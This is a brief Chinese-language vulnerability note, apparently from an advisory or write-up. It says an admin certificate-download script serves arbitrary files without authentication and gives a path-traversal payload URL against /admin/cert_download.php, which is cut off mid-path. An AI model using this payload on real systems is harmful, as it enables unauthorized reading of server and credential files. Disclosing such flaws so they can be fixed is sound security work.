此文件没有对身份进行校验即可下载任意文件构造payload访问漏洞url：/admin/cert_download.php?file=gjxbstxdt.txt&certfile=../../...